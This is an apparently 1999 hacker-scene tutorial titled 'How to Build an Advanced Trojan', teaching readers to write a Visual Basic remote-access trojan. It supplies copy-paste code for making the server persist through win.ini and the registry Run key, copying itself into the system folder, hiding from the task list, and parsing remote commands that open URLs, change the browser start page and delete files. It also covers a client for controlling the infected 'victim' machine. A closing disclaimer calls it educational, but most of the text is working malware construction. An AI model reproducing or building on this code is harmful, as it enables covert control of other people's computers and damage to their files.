home *** CD-ROM | disk | FTP | other *** search
HOW TO BUILD AN ADVANCED TROJAN _______________________ ===============================[ ultimate guide by Wax ] + MAY 1999 + +----------------------: i n c l u d e d :-+ | Chapter I: The Server | | - Autorun | | - Stealthing | | - String Recognition | | | | Chapter II: The Client | | - The Interface | | - User Status | | - Profiles | | | | Chapter III: General Information | | - Using Modules (.bas) | | - Guide 1 'bugs' | | - Credits & Resources | | - Shout-Outs | +------------------------------------------+ Don't forget to view this in notepad or access the txtdirectly in your browser, or it will looks bad, address is: www.respect-inc.com/wax/wax_trojan02.txt Before we kick of with the Guide or pherhaps small book, whatever u want to call it, some general information, or must-knows. *) This guide is not written for the newbie VB trojan writer ! If u are new to writing trojans, I suggest you read my 1st trojan Guide available at Planet-Source-Code.Com (More info at Resources) *) Although this guide is written and includes Source Code for Visual Basic (by MS) the 'ideas' or methods apply to other languages as well, I suggest u read this as well when you are an Delphi or C++ coder, even it was just for more some information or ideas. *) In This guide as told I assume u are not a newbie, I also assume u are familiar, or somewhat familiar with the following issues: - The Registry (From Windows) - Internet Programming (Sockets etc.) - Windows API - Strings/Integers/Variables Ok, I guess every active VB programmer has enough knowledge about this after somewhat a half or 3/4th of a year, if not, I can suggest some sites that might help u get going, and some books, check them out at the Chapter III: Credits & Resources. Now, we will, unlike Guide1 not create a and step through the process of an entirely new server, offcourse it;s possible, the code doesn't have to be done in this order, these are just 'sniplets' with explanation and they are somewhat a must for the advanced trojan. If u want to do the Administrator First skip this chapter and goto Chapter II. +------------------------------------------------------------------------+ + CHAPTER I: THE SERVER +------------------------------------------------------------------------+ + Auto-Start / Nestling +------------------------ One of the most scaring parts of the all famous Back Orifice, was the fact that is nestled itself and re-run every time u restarted your computer, for the non-techies, or even the medium computer user it was hard to locate / remote the back orifice server (mostly .exe in the win\sys <dir>) but offcourse the aspect that made it run is the part of interest for us, I will explain 2 methods of letting the server re-run at auto-start ever- time. Using an INI File, and the Registry. * INI File. To let a program re-run every time at startup using an INI file, u have to modify the win.ini file which is located in your \Win <dir> now open win.ini find the header [windows] mostly on top of the INI and pherhaps there's already a program using the INI to auto-start, if so there will be a load=programpath\programexe value, e.g: [windows] load=C:\program files\adobe\photoshop5\gammaloader.exe now the Load is the one we need, below is code u should copy&paste in to the Servers MOdule (or make a new module and paste it in there) '--> WRITING TO INI FILES MODULE (.BAS) - < S T A R T > - Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationname As String, ByVal lpKeyName As Any, ByVal lsString As Any, ByVal lplFilename As String) As Long Declare Function GetPrivateProfileInt Lib "kernel32" Alias "GetPriviteProfileIntA" (ByVal lpApplicationname As String, ByVal lpKeyName As String, ByVal nDefault As Long, ByVal lpFileName As String) As Long Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationname As String, ByVal lpKeyName As String, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long Global file Global appname Global Keyname Global value Public Sub writeini() Dim lpAppName As String, lpFileName As String, lpKeyName As String, lpString As String Dim U As Long lpAppName = appname lpKeyName = Keyname lpString = value lpFileName = file U = WritePrivateProfileString(lpAppName, lpKeyName, lpString, lpFileName) If U = 0 Then Beep End If End Sub '--> WRITING TO INI FILES MODULE (.BAS) - < E N D > - Ok, assuming you've done the above, we go to the forms code U might want to add a Sub or something, just see what u do with it, to write to the ini use the following code: '--> PUBLIC SUB TO WRITE TO THE INI FILE - < S T A R T > - Public Sub InstallINI Dim lpAppName As String, lpFileName As String, lpKeyName As String, lpString As String Dim Load As Long lpAppName = "windows" 'the header [windows] lpKeyName = "load" 'the setting load= lpString = App.Path & "\" & app.exename & ".exe" 'the value app.path lpFileName = "C:\windows\win.ini" Load = WritePrivateProfileString(lpAppName, lpKeyName, lpString, lpFileName) If Load = 0 Then Beep End If End Sub '--> PUBLIC SUB TO WRITE TO THE INI FILE - < E N D > - The lpString is something u might want to change, using the API u can recover the Win\Sys <dir> and copy your trojan there, and let the lpString be something like this: SystemPath\Yourname.exe And added measure might be to also let this code be called when the program get shut-down e.g. when windows shuts-down, so that, should the user have removed the line (load=..) it will be added again. * REGISTRY To let your program auto-start thru the registry as well, u also have to use some code, which u preferably should paste in the same module as the INI writing code, to keep it easy to manage. '--> WRITING TO THE REGISTRY MODULE (.BAS) - < S T A R T > - Option Explicit Public Const HKEY_CLASSES_ROOT = &H80000000 Public Const HKEY_CURRENT_USER = &H80000001 Public Const HKEY_LOCAL_MACHINE = &H80000002 Public Const HKEY_USERS = &H80000003 Public Const HKEY_PERFORMANCE_DATA = &H80000004 Public Const HKEY_CURRENT_CONFIG = &H80000005 Public Const HKEY_DYN_DATA = &H80000006 Public Const REG_SZ = 1 ' Unicode nul terminated string Public Const REG_BINARY = 3 ' Free form binary Public Const REG_DWORD = 4 ' 32-bit number Public Const ERROR_SUCCESS = 0& Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long Public Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long Public Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long Public Declare Function RegEnumKey Lib "advapi32.dll" Alias "RegEnumKeyA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpName As String, ByVal cbName As Long) As Long Public Declare Function RegEnumValue Lib "advapi32.dll" Alias "RegEnumValueA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpValueName As String, lpcbValueName As Long, lpReserved As Long, lpType As Long, lpData As Byte, lpcbData As Long) As Long Public Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long Public Sub CreateKey(hKey As Long, strPath As String) Dim hCurKey As Long Dim lRegResult As Long lRegResult = RegCreateKey(hKey, strPath, hCurKey) If lRegResult <> ERROR_SUCCESS Then ' there is a problem End If lRegResult = RegCloseKey(hCurKey) End Sub Public Sub SaveSettingString(hKey As Long, strPath As String, strValue As String, strData As String) Dim hCurKey As Long Dim lRegResult As Long lRegResult = RegCreateKey(hKey, strPath, hCurKey) lRegResult = RegSetValueEx(hCurKey, strValue, 0, REG_SZ, ByVal strData, Len(strData)) If lRegResult <> ERROR_SUCCESS Then 'there is a problem End If lRegResult = RegCloseKey(hCurKey) End Sub '--> WRITING TO THE REGISTRY MODULE (.BAS) - < E N D > - Ok, as u can see also this code has a Sub u can easily call and pass 'parameters' too.. this code is superbly easy to use, I've stripped some code u don't need for now, so let's just go to the actual registry part The Registry concists of top-levels with sub-dirs which contain settings with values the top-levels are: HKEY_CLASSES_ROOT HKEY_CURRENT_USER HKEY_LOCAL_MACHINE HKEY_USERS HKEY_CURRENT_CONFIG HKEY_DYN_DATA We will be modifying in the HKEY_LOCAL_MACHINE part, open regedit.exe and browse along with the code HKEY_LOCAL_MACHINE -> Software -> Microsoft -> Windows -> CurrentVersion -> Run as u can now see there are some settings (probably) among them there is probably the 'SystemTray' with as value "SysTray.Exe", yes this is the SystemTray Windows starts, removing it will cause malfunction or some disabling. Now u can make an Sub in the form itself, like u might have done with the ini Public Sub InstallRegistry() SaveSettingString(HKEY_LOCAL_MACHINE), "Software\Microsoft\Windows\CurrentVersion\Run", "AppName", "AppExe.exe" End Sub Now the thing with the Registry is that if u don't want to define a complete path to the AppExe like C:\program\files\trojan\trojan.exe it has to be in the Windows\System <dir> now all u have to do is as told make sure the exe gets copied to the windows\system <dir> at form_load (offcourse, place a check there if there's already a file in the windows\sys with the name u want cuz that means it's already copied, and has no need to be copied again I will show u how to do this all below: '--> CODE FOR THE MODULE, TO GET THE WINDOWS SYSTEM DIRECTORY -START- Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long Public Const MAX_PATH = 260 '--> CODE FOR THE MODULE, TO GET THE WINDOWS SYSTEM DIRECTORY -END- '--> CODE FOR THE FORM TO LOAD THE PATH OF THE SYSTEM DIR INTO A STRING -START- Public Function GetSystemPath() Dim strFolder As String Dim lngResult As Long strFolder = String(MAX_PATH, 0) lngResult = GetSystemDirectory(strFolder, MAX_PATH) If lngResult <> 0 Then GetSystemPath = Left(strFolder, InStr(strFolder, _ Chr(0)) - 1) Else GetSystemPath = "" End If End Function '--> CODE FOR THE FORM TO LOAD THE PATH OF THE SYSTEM DIR INTO A STRING -END- '--> CODE TO CHECK AND IF NEEDED INSTALL THE TROJAN -START- Validate_File(Systempath & "\AppExe.exe") '--> CODE TO CHECK AND IF NEEDED INSTALL THE TROJAN -END- '--> CHECK FOR FILE - < S T A R T > - Function Validate_File(ByVal FileName As String) As Integer On Error Resume Next Dim fileFile As Integer fileFile = FreeFile On Error Resume Next Open FileName For Input As fileFile If Err Then FileCopy App.ExeName, Systempath & "\AppExe.exe" Call InstallRegistry 'this calls for the Sub we made b4, it registers Else 'It's already there, the file opening 'sequence' worked End If End Function '--> CHECK FOR FILE - < E N D > - Ok With all the code above you can safely be sure that the trojan gets installed correctly. Now, offcourse installation is not the only thing a good trojan should have, it should by all means not-be-visile to the user, not in the TaskManager ('CTRL-ALT-DEL') List, and the Taskbar. This is the next part of Chapter I, called Stealthing. +------------------------------------------------------------------------+ + CHAPTER I: THE SERVER +------------------------------------------------------------------------+ + STEALTHING +------------------------ Stealthing is necessary to make sure the user doesn't see the program running when he checks his TaskManager, if it is visible the user might become suspicious and try to get rid of it, and he can ! if it's visible in the CTRl-ALT-DEL List he can remove it by double clicking it ! Now, the way to make sure it's not in there is by fooling windows, this can be done by pretending there's a screen-saver running, because that is a time that windows won't respond to ctrl-alt-del. Goto to your module, and add the following constants: Public Const RSP_SIMPLE_SERVICE = 1 Public Const RSP_UNREGISTER_SERVICE = 0 These are the constants of the Screen Saver (Simple Service) Also add the following DLL declarations somewere below: 'STEALTH DECLARATIONS -START- Public Declare Function GetCurrentProcessId Lib "kernel32" () As Long Public Declare Function GetCurrentProcess Lib "kernel32" () As Long Public Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long 'STEALTH DECLARATIONS -END- Ok, now the above code (as u can see to the 'Public Const' have to come in an module (the same as the rest of the code will be fine) now at the top of the main FORMS code add these dimension's: '-< Dim pid As Long Dim reserv As Long '-> now the Sub to make your program actually hide from the Ctrl-Alt-Del (taskman) list is this: 'STEALTH SUB -START- Public Sub Stealth() pid = GetCurrentProcessId() reserv = RegisterServiceProcess(pid, RSP_SIMPLE_SERVICE) End Sub 'STEALTH SUB -END- Ok the stealth part is done, using the above 2 methods (Nestling & Stealthing) you're trojan's already at a higher lever, now for one of the most vital parts of a trojan, it's recognition engine of incoming commands, and not just comparing with a case but stripping parts, recognizing first 4 or alike read on.. +------------------------------------------------------------------------+ + CHAPTER I: THE SERVER +------------------------------------------------------------------------+ + STRING RECOGNITION +------------------------ So u arrived how nice.. Ok as described above u will know what u will be learning here; StringRecognition or as some like to refer to it the CommandRecognitionEngine what it merely does is get the incoming data from winsock (the strings) and check it's 1st 4 strings (or more or less offcourse) and check what command it has to execute when e.g. it finds that the 1st 4 are 'msg:' Ok, I will just provide the code here and do some explanation and offcourse usage methods, when to and when not to use this code. ' STRING RECOGNITION Dim data As String Dim NewString As String MainSock.GetData data If Left$(data, 4) = "msg:" Then NewString = Mid(data, 5, Len(data)) MsgBox (NewString), vbCritical, " " Else ' STRING RECOGNITION This code should be used on a Winsock_data arrival sub as u can see it first dims data & then newstring the Data String is to store the incoming (the original data) in and the new string is to store the 'manipulated' string in, e.g. the msgs text Now, what it does is it gets the data which is being sent and saves it in the dimenioned DATA string, then it checks if the 4 left string (left$) are "msg:", if so it will strip out the 1st 4 strings (msg:) and uses the rest as the msgs text it stores the new string (the txt) in NEWSTRING 'NewString = Mid(data, 5, Len(data)) It takes the 5th string to the last one (5, Len(data)) from the Data (original) string. and it displays a msgbox with as text NEWSTRING, which is the manipulated string or in other words, the original incoming data WITHOUTH the 'msg:' in front of it. now a tiny part of client programming, the client would send this in the following way say u have a txtbox in which the msg text comes (txtmessagetext) and people enter some text and press the 'send' or 'display' or 'whateveruwannause' button the code would be somewhat alike [sockname].senddata "msg:" & txtmessagetext.text now a little expansion on the message method, to display the different types of messageboxes u could use ms[x] were [x] represents one of the 4 regular default styles which are: * vbInformation * vbCritical * vbQuestion * vbExclamation u could do: msi = Message Informational msc = Message Critical msq = Message Question mse = Message Exclamation ok this is all for string recognition, i'll name some more things u can use this for below: the things hooked up behind are examples of format * Sending people to Urls (url:http://www.respect-inc.com e.g.) * Changing LocalHostname of remote computer (lhn:[yourname] owns u!) * Changing IE4+ startpafe (ies:[yourhomepage]) * Deleting files (del:C:\windows\welcome.exe) Ok this should have helped u out enough on this way. The above mentioned methods (ChangingLocal & Startpage) use the Registry. +------------------------------------------------------------------------+ + CHAPTER II: THE CLIENT +------------------------------------------------------------------------+ + The Interface +------------------------ With all my respect to the BO (back orifice) programmers, it's interface sucked, now it could be that I had an beta version or a test version but it looked unclear and vague, and since most Trojan Users are all WinX/NT users they are used to windows interface, and a form filled with 30 buttons looks a little bad as well if u ask me, so I dedicated a chapter to the Clients interface it's just a matter of oppinion and if u think the above I wrote is crap, skip this chapter and head on the next sub-chapter of THE CLIENT. Some might have read the wax_trojan.txt (my 1st guide) and it also included a part on interfaces. altho y'all prolly think i suck in ascii (u share my oppinion :) here's my lovely drawing again to demonstrate how u could make it: _________________________________________________________ |PROGRAM NAME______________________________________- [] x | |FILE_________ COMMANDS_____ HELP______________________| |Setup | |Shutdown | |About | | |Connect | |Reboot | |Help | | |Discconnect | |Open Cd-Rom | |------| | |Exit | |Close Cd-Rom | | |------------| |Messages | | | |-------------| | | | | | | | | | |_________________________________________________________| It's all very limited and u prolly want to include some more menus / functions oh by the way: planet source code viewers: go to this page: www.respect-inc.com/wax/guide2.txt and view it in plain text so the drawings look ok on the main form u might want to include always updated status and another golden rule, make sure the user always has a (visual if possible) clue of what is going on e.g. when sending a file use percentages or if possible a Gauge/Progressbar a layout of the above with the menus closed but with the information is here: _________________________________________________________ |PROGRAM NAME______________________________________- [] x | |FILE_________ COMMANDS_____ HELP______________________| | | | Remote Host: 127.0.0.1 | | Remote Port: 3948 | | Status: Connected | | Server V: v1.a | | Connected: 12:01:56 | | | | Upload ______________________ | | Progress: |||||||| 30%___________| | |_________________________________________________________| A lil' explanation for u possible newbies reading this guide and searching for visualizations :) Remote Host: the computer u are connected to (the comp. running the server) Remote Port: the port the server which is installed is listening too Status: The winsock's status (let a timer check every second for it's status) Server V: the version of the server that is it installed on the 'victim' Connected: the time length u are connected to the server Upload Progress: the progress of uploading a file to the remote HD. Remember, it doesn't have to look like this, it's just one of the many ways a trojan with a superb GUI is the one by my friend WACKeHACK it's called Forced Entry. Ok u prolly found this an worthless chapter, it doesn't contain much usefull information but it's important u have a quality VUI or GUI. +------------------------------------------------------------------------+ + CHAPTER II: THE CLIENT +------------------------------------------------------------------------+ + User Status +------------------------ This is a very very small chapter about the visualization of the status of the Client, as mentioned above the Winsock's status and the status when connecting Now all of u are probably to lazy to write the full code of the winsock's status so I just wrote it down 1 day and I included it here, copy & paste it if u wish it uses 3 controls, the winsock u want the status of (sock) a label were the status is printed on (lblstatus) and a timer which every second checks for the winsocks status (tmrstatus) ' STATUS CHECK OF WINSOCK Private Sub tmrStatus_Timer() If sock.state = 0 Then lblstatus.caption = "Closed" else If sock.state = 1 Then lblstatus.caption = "Open" else If sock.state = 2 Then lblstatus.caption = "Listening" else If sock.state = 3 Then lblstatus.caption = "Pending Connection" else If sock.state = 4 Then lblstatus.caption = "Resolving Host" else If sock.state = 5 Then lblstatus.caption = "Host Resolved" else If sock.state = 6 Then lblstatus.caption = "Connecting" else If sock.state = 7 Then lblstatus.caption = "Connected" else If sock.state = 8 Then lblstatus.caption = "Peer is closing Connection" else If sock.state = 9 Then lblstatus.caption = "Error" else End Sub That's all about that for now and prolly for a long time :0 U might want to give the client some sort of information on how many bytes he/she transfered, just mod the bytes into a string (let's say totalbytes) and display that in a label. +------------------------------------------------------------------------+ + CHAPTER II: THE CLIENT +------------------------------------------------------------------------+ + Profiles +------------------------ One of the quality options of the (newer) Netbus Trojan by cF that it had profiles or 'users'. The idea was that u could enter a name an IP & port and I believe some more information and it would store it in a profile and u could just double- click on it to connect to it, and the best thing was: 1. It could have multiple profiles 2. It saved the information of the profile (Registry/Ini) Now since we are making an advanced trojan, we are going to make a small profile system as well, we will use the Registry for it and the module at the 1st chapter of this guide will be quite usefull. First a small explanation on the system. We will allow the user to enter a name for the profile a description and assign an IP to it, offcourse the user should also have the ability to create more then 1 or be able to delete. People will enter the above information and press a button or something alike to create the actual profile, when they click several things have to be done 1st of all a key in the registry has to be made, somewhat like [HKEY_LOCAL_MACHINE]\Software\Yourname\TrojanName\Profiles then in that registry key we will store the new profiles information, for every profile we make a key, so that when we want to retrieve all profiles we can execute the GetAllKeys from the TrojanName\Profiles <dir> at form_load now we store the name as Name description as Desc and the Ip as Address here's a sample on how to create on with a reg file // Create Key (save as .reg) REGEDIT4 [HKEY_LOCAL_MACHINE\SOFTWARE\YourName\TrojanName\Profiles\Profile 1] "Name"="Localhost" "Desc"="Local Host Ip" "Address"="127.0.0.1" // Create Key (save as .reg) Now implent this code into the same type of code as done in Chapter I: Nestling so that u create the profiles etc. whenever someone creates a profile now this part is done, but what to do when the program gets opened again and the user wants to connect to a profile he created? We have to get all the the keys that are in Yourname\TrojanName\Profiles\[all profiles] We use the same module as above, but this time we need the full version, this module can be found at Vb-World.Net, because u need to have GetAllKeys/Settings now the Module is very easy, so U just get all values and place 'm in a listbox e.g., make sure that when people click on a profile it connects to it, you could add a menu on rightclick and let people choose, like; -< The drawing shows a popup at profile 3 (yea ascii drawing ain't mah talent >- If you need more help on this part, mail me @: wax@respect-inc.com . . . . . . ___________ |Profile 1 | |Profile 2 | |Profile 3 | ||connect | | ||delete | | | -------- | |___________| +------------------------------------------------------------------------+ + CHAPTER III: GENERAL INFORMATION +------------------------------------------------------------------------+ + Using Modules +------------------------ I highly support the use of modules in VB, especially ones that easy the progress/process a lot. Say u wanted to check if a persons computer is running your server at a certain port, write a public function in a module that checks thru a sock control wether the port's opened. Since this might sound weird I'll show u a module called Module a form called frmmain a winsock called sock '< function in the module > Public Function CheckSrvr(Byval Ip As String) frmMain.Sock.remoteport = "3040" 'the standard port' frmMain.Remotehost = Ip frmMain.Connect End Function '< function in the module > now it's really easy to implent this, once u've got it done u can call it from anywere by typing the name of the module followed by CheckSrvr, e.g. Module.Checksrvr then u type a space and it will display that yellow bar u regular see when u typing properties or values for a Ocx, then just enter the adress in string format ("127.0.0.1") or say u are smart and u let the user enter an IP in a box to check it would be somewhat alike Modules.Checksrvr txtCheck.text really short. Other examples of were a module is very usefull: * unACE / unRAR Module by Compulsion Software * Registry Module by Vb-World.Net * Modules In Trojans In which u have the declars + functions on say opening a cd-rom, removing taskbar etc. +------------------------------------------------------------------------+ + CHAPTER III: GENERAL INFORMATION +------------------------------------------------------------------------+ + Guide 01 'bugs' +------------------------ As some of u might have noticed, the 1st guide had some bugs / mistakes Known bugs for now are: - "David Appleman's book on Win32 API" -> Dan Appleman's book on Win32 API - x = mciexecute("play c:\sound.wax") -> x = mciexecute("play c:\sound.wav") - I forgot to include the part on laying the connection between server & client, which is a big mistake of me, so here is the 'correction' at Winsock_ConnectionRequest add the following code: '-> correctional code If Winsock1.State <> sckClosed Then winsock1.Close winsock1.Accept requestID '-> correctional code +------------------------------------------------------------------------+ + CHAPTER III: GENERAL INFORMATION +------------------------------------------------------------------------+ + Credits & Resources +------------------------ This Guide on how to write trojans is (C) by Wax 1999 You can contact me at wax@respect-inc.com _ __ ___ __ __ / / \ \ / _ \ \ \ / / / / _ \ \ / /_\ \ \ \./ / \ \/ \/ // / \ \/ / \ \ \_/ \_//_/ /_/_/ \_\ This guide is the sequel to the 1st guide, which was distributed under the name "wax_trojan.txt" It can be found at http://www.respect-inc.com/wax which is also my 'personal' homepage. Sites: - Planet Source Code [ www.planet-source-code.com ] - Visual Basic World [ www.vb-world.net ] - Programmers Heaven [ www.programmersheaven.com ] - Trojans Lair [ www.multimania.com/cdc ] Books: - Visual Basic 5.0 Developers Workshop - MSPRESS - Hardcore Visual Basic - MSPRESS - Win32 API - MSPRESS +------------------------------------------------------------------------+ + CHAPTER III: GENERAL INFORMATION +------------------------------------------------------------------------+ + Shout Outs +------------------------ Everlasting greets to Mucky Shouts to: Z-Wire, Willy, EN!GMA, Wilike, Rids, Chester(UHI), Spawn128, Acid, OneNightStand, Erxer, Sopa, AngelOfDeath & BodyCheck Got Comments, Suicidal notes, criticism, mail me at wax@respect-inc.com This guide is for educational purposes and do not use provided knowledge for any malicious intent wax_trojan.txt , wax_trojan02.txt , "Ultimate Trojan Guide" Copyright 1999 Wax 
